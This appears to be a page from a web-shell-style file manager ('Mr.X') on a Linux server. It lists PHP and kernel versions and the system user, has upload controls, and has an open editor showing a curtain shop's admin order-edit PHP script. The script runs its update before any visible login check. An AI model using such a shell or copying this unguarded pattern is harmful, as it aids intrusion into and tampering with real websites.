🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:order_edit.php
<?php // admin/order_edit.php require_once '../includes/db.php'; require_once '../includes/functions.php'; $id = isset($_GET['id']) ? (int)$_GET['id'] : 0; try { $stmt = $pdo->prepare("SELECT * FROM orders WHERE id = ?"); $stmt->execute([$id]); $order = $stmt->fetch(); if (!$order) { header("Location: orders.php"); exit; } } catch (PDOException $e) { die("Database lookup error: " . $e->getMessage()); } $error = ''; $success = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $customer_name = trim($_POST['customer_name'] ?? ''); $email = trim($_POST['email'] ?? ''); $phone = trim($_POST['phone'] ?? ''); $whatsapp = trim($_POST['whatsapp'] ?? ''); $address = trim($_POST['address'] ?? ''); $curtain_type = trim($_POST['curtain_type'] ?? ''); $fabric = trim($_POST['fabric'] ?? ''); $color = trim($_POST['color'] ?? ''); $width = filter_var($_POST['width'] ?? null, FILTER_VALIDATE_FLOAT); $height = filter_var($_POST['height'] ?? null, FILTER_VALIDATE_FLOAT); $quantity = filter_var($_POST['quantity'] ?? 1, FILTER_VALIDATE_INT); $notes = trim($_POST['notes'] ?? ''); $status = trim($_POST['status'] ?? ''); // Form validations if (empty($customer_name) || empty($email) || empty($phone) || empty($whatsapp) || empty($address) || empty($curtain_type) || empty($fabric) || empty($color) || $width === false || $height === false || $quantity === false || empty($status)) { $error = 'Please fill in all required fields with valid values.'; } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $error = 'Please enter a valid email address.'; } elseif ($width <= 0 || $height <= 0 || $quantity <= 0) { $error = 'Width, Height, and Quantity must be positive values.'; } else { try { $sql = "UPDATE orders SET customer_name = :customer_name, email = :email, phone = :phone, whatsapp = :whatsapp, address = :address, curtain_type = :curtain_type, fabric = :fabric, color = :color, width = :width, height = :height, quantity = :quantity, notes = :notes, status = :status WHERE id = :id"; $update_stmt = $pdo->prepare($sql); $update_stmt->execute([ ':customer_name' => $customer_name, ':email' => $email, ':phone' => $phone, ':whatsapp' => $whatsapp, ':address' => $address, ':curtain_type' => $curtain_type, ':fabric' => $fabric, ':color' => $color, ':width' => $width, ':height' => $height, ':quantity' => $quantity, ':notes' => $notes, ':status' => $status, ':id' => $id ]); $success = 'Order updated successfully!'; // Reload order specs $stmt = $pdo->prepare("SELECT * FROM orders WHERE id = ?"); $stmt->execute([$id]); $order = $stmt->fetch(); } catch (PDOException $e) { $error = 'Failed to update order: ' . $e->getMessage(); } } } include '../includes/admin_header.php'; ?> <div class="mb-4 d-flex justify-content-between align-items-center"> <a href="order_detail.php?id=<?php echo $order['id']; ?>" class="btn btn-outline-secondary btn-sm"> <i class="fas fa-arrow-left me-2"></i>Back to Details </a> <span class="text-muted font-monospace small">Editing Order: <?php echo s($order['order_no']); ?></span> </div> <?php if (!empty($error)): ?> <div class="alert alert-danger border-0 shadow-sm mb-4"><i class="fas fa-times-circle me-2"></i><?php echo $error; ?></div> <?php endif; ?> <?php if (!empty($success)): ?> <div class="alert alert-success border-0 shadow-sm mb-4"><i class="fas fa-check-circle me-2"></i><?php echo $success; ?></div> <?php endif; ?> <div class="card premium-card mb-5"> <div class="card-header-royal"> <h5 class="mb-0"><i class="fas fa-edit me-2"></i>Modify Order Specifications</h5> </div> <div class="card-body p-4 p-md-5"> <form method="POST" action="order_edit.php?id=<?php echo $order['id']; ?>"> <!-- 1. Customer Details --> <h6 class="text-royal fw-bold mb-3 pb-2 border-bottom"><i class="fas fa-user-edit me-2"></i>1. Customer Information</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label for="customer_name" class="form-label">Customer Name</label> <input type="text" class="form-control" id="customer_name" name="customer_name" required value="<?php echo s($order['customer_name']); ?>"> </div> <div class="col-md-6"> <label for="email" class="form-label">Email Address</label> <input type="email" class="form-control" id="email" name="email" required value="<?php echo s($order['email']); ?>"> </div> <div class="col-md-6"> <label for="phone" class="form-label">Mobile Number</label> <input type="text" class="form-control" id="phone" name="phone" required value="<?php echo s($order['phone']); ?>"> </div> <div class="col-md-6"> <label for="whatsapp" class="form-label">WhatsApp Number</label> <input type="text" class="form-control" id="whatsapp" name="whatsapp" required value="<?php echo s($order['whatsapp']); ?>"> </div> <div class="col-12"> <label for="address" class="form-label">Delivery/Fitting Address</label> <textarea class="form-control" id="address" name="address" rows="3" required><?php echo s($order['address']); ?></textarea> </div> </div> <!-- 2. Product Specifications --> <h6 class="text-royal fw-bold mb-3 pb-2 border-bottom"><i class="fas fa-sliders-h me-2"></i>2. Product Specifications & Sizes</h6> <div class="row g-3 mb-4"> <div class="col-md-4"> <label for="curtain_type" class="form-label">Curtain Type</label> <select class="form-select" id="curtain_type" name="curtain_type" required> <option value="Eyelet / Ring Top" <?php echo $order['curtain_type'] == 'Eyelet / Ring Top' ? 'selected' : ''; ?>>Eyelet / Ring Top</option> <option value="Pinch Pleat" <?php echo $order['curtain_type'] == 'Pinch Pleat' ? 'selected' : ''; ?>>Pinch Pleat</option> <option value="Pencil Pleat" <?php echo $order['curtain_type'] == 'Pencil Pleat' ? 'selected' : ''; ?>>Pencil Pleat</option> <option value="Goblet Pleat" <?php echo $order['curtain_type'] == 'Goblet Pleat' ? 'selected' : ''; ?>>Goblet Pleat</option> <option value="Tab Top" <?php echo $order['curtain_type'] == 'Tab Top' ? 'selected' : ''; ?>>Tab Top</option> <option value="Rod Pocket" <?php echo $order['curtain_type'] == 'Rod Pocket' ? 'selected' : ''; ?>>Rod Pocket</option> <option value="Wave Fold" <?php echo $order['curtain_type'] == 'Wave Fold' ? 'selected' : ''; ?>>Wave Fold</option> </select> </div> <div class="col-md-4"> <label for="fabric" class="form-label">Fabric Type</label> <select class="form-select" id="fabric" name="fabric" required> <option value="Luxury Velvet" <?php echo $order['fabric'] == 'Luxury Velvet' ? 'selected' : ''; ?>>Luxury Velvet</option> <option value="Pure Linen" <?php echo $order['fabric'] == 'Pure Linen' ? 'selected' : ''; ?>>Pure Linen</option> <option value="Premium Cotton" <?php echo $order['fabric'] == 'Premium Cotton' ? 'selected' : ''; ?>>Premium Cotton</option> <option value="Polyester Blend" <?php echo $order['fabric'] == 'Polyester Blend' ? 'selected' : ''; ?>>Polyester Blend</option> <option value="Royal Silk" <?php echo $order['fabric'] == 'Royal Silk' ? 'selected' : ''; ?>>Royal Silk</option> <option value="Thermal Blackout" <?php echo $order['fabric'] == 'Thermal Blackout' ? 'selected' : ''; ?>>Thermal Blackout</option> <option value="Sheer Lace" <?php echo $order['fabric'] == 'Sheer Lace' ? 'selected' : ''; ?>>Sheer Lace</option> </select> </div> <div class="col-md-4"> <label for="color" class="form-label">Color</label> <select class="form-select" id="color" name="color" required> <option value="Royal Blue" <?php echo $order['color'] == 'Royal Blue' ? 'selected' : ''; ?>>Royal Blue</option> <option value="Classic Gold" <?php echo $order['color'] == 'Classic Gold' ? 'selected' : ''; ?>>Classic Gold</option> <option value="Pearl White" <?php echo $order['color'] == 'Pearl White' ? 'selected' : ''; ?>>Pearl White</option> <option value="Charcoal Gray" <?php echo $order['color'] == 'Charcoal Gray' ? 'selected' : ''; ?>>Charcoal Gray</option> <option value="Cream / Beige" <?php echo $order['color'] == 'Cream / Beige' ? 'selected' : ''; ?>>Cream / Beige</option> <option value="Emerald Green" <?php echo $order['color'] == 'Emerald Green' ? 'selected' : ''; ?>>Emerald Green</option> <option value="Wine Red" <?php echo $order['color'] == 'Wine Red' ? 'selected' : ''; ?>>Wine Red</option> </select> </div> <div class="col-md-4"> <label for="width" class="form-label">Width (inches)</label> <input type="number" step="0.1" min="1" class="form-control" id="width" name="width" required value="<?php echo s($order['width']); ?>"> </div> <div class="col-md-4"> <label for="height" class="form-label">Height (inches)</label> <input type="number" step="0.1" min="1" class="form-control" id="height" name="height" required value="<?php echo s($order['height']); ?>"> </div> <div class="col-md-4"> <label for="quantity" class="form-label">Quantity</label> <input type="number" min="1" class="form-control" id="quantity" name="quantity" required value="<?php echo (int)$order['quantity']; ?>"> </div> </div> <!-- 3. Status & Notes --> <h6 class="text-royal fw-bold mb-3 pb-2 border-bottom"><i class="fas fa-tasks me-2"></i>3. Order Tracking & Notes</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label for="status" class="form-label">Order Status</label> <select class="form-select" id="status" name="status" required> <option value="Pending" <?php echo $order['status'] == 'Pending' ? 'selected' : ''; ?>>Pending</option> <option value="Confirmed" <?php echo $order['status'] == 'Confirmed' ? 'selected' : ''; ?>>Confirmed</option> <option value="Processing" <?php echo $order['status'] == 'Processing' ? 'selected' : ''; ?>>Processing</option> <option value="Completed" <?php echo $order['status'] == 'Completed' ? 'selected' : ''; ?>>Completed</option> <option value="Cancelled" <?php echo $order['status'] == 'Cancelled' ? 'selected' : ''; ?>>Cancelled</option> </select> </div> <div class="col-md-6"> <label for="notes" class="form-label">Special Notes / Requirements</label> <textarea class="form-control" id="notes" name="notes" rows="3"><?php echo s($order['notes']); ?></textarea> </div> </div> <div class="d-flex justify-content-end gap-2 border-top pt-4"> <a href="order_detail.php?id=<?php echo $order['id']; ?>" class="btn btn-outline-secondary px-4">Cancel</a> <button type="submit" class="btn btn-royal px-5">Save Changes</button> </div> </form> </div> </div> <?php include '../includes/admin_footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder